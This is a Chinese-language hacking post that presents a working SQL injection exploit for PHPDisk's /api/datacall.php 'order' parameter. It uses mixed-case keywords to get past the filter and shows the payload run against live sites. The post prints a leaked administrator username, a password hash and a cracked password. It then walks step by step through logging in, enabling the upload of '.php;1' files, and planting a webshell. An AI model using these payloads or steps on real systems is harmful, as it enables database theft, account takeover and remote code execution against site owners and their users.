以前暴出过通杀0DAY
代码如下
/api/datacall.php?type=user&limit=1&order=1 and(select 1 from(select count(*),concat((select (select (select concat(0×27,0x7e,pd_users.username,0×27,0x7e,pd_users.password,0×27,0x7e) from pd_users where userid=1 limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1#&by=and 1=1&limit=1
漏洞是出在datacall.php的order参数没过滤好
但是不知道为啥不好用 翻文件找原因之。。。
原来新版本的程序加上了如下过滤
if(!$type || !$order || !$by || !$limit){
echo 'PHpdisk Datacall Parameter is null or Error!';
exit;
}
$filter_arr = array('select','delete','update','insert');//过滤关键字
for($i=0;$i<count($filter_arr);$i++){
if(strpos($order,strtolower($filter_arr[$i]))!==false){//漏洞就出在这了 我想不清楚那程序是不是吃翔长大的 把数组都转换成大写 能有啥用?
die('PHpdisk Datacall Parameter Error!');
}
}我们把以前的0DAY改一下
把select关键字改成SEleCt
语句如下
/api/datacall.php?type=user&by=and%201=1&limit=1&order=1 and(sEleCt 1 from(sEleCt count(*),concat((sEleCt (sEleCt (sEleCt concat(0x27,0x7e,pd_users.username,0x27,0x7e,pd_users.password,0x27,0x7e) from pd_users where userid=1 limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1#
漏洞演示
http://demo.xxx.com/55//api/datacall.php?type=user&by=and%201=1&limit=1&order=1%20and(sEleCt%201%20from(sEleCt%20count(*),concat((sEleCt%20(sEleCt%20(sEleCt%20concat(0x27,0x7e,pd_users.username,0x27,0x7e,pd_users.password,0x27,0x7e)%20from%20pd_users%20where%20userid=1%20limit%200,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%20and%201=1#
成功利用爆出密码
MySQL Info: Duplicate entry ''~admin'~e10adc3949ba59abbe56e057f20f883e'~1' for key 'group_key' , 1062
HOW TO GETSHELL?
官方演示后台好像是做了文章的 进不去 我们换个别的站来演示 BAIDUHACK Powered by PHPDisk
http://www.2cto.com //api/datacall.php?type=user&by=and%201=1&limit=1&order=1%20and(sEleCt%201%20from(sEleCt%20count(*),concat((sEleCt%20(sEleCt%20(sEleCt%20concat(0x27,0x7e,pd_users.username,0x27,0x7e,pd_users.password,0x27,0x7e)%20from%20pd_users%20where%20userid=1%20limit%200,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%20and%201=1#
好 成功爆出账号密码
MySQL Info: Duplicate entry ''~deathdd'~3a82b73fda0dc40ac27a83fcfabcb995'~1' for key 'group_key' , 1062
deathdd death113
在首页直接登陆
登陆成功后点系统管理
在输入一次我们的密码进去系统管理
进入总管理后台后
网站配置-高级选项-可外链的文件名里面添加上php;1
然后在开启外连
回到前台 在我的网盘里面上传一个1.php;1的文件
在系统管理的文件管理里面找到我们刚才上传的那个文件 直接点开 得到SHELL地址
http://ymzlk.xxx.com/filestores/deathdd/1.php;1 密码whoami 这样就拿下SHELL了 是不是很简单呢?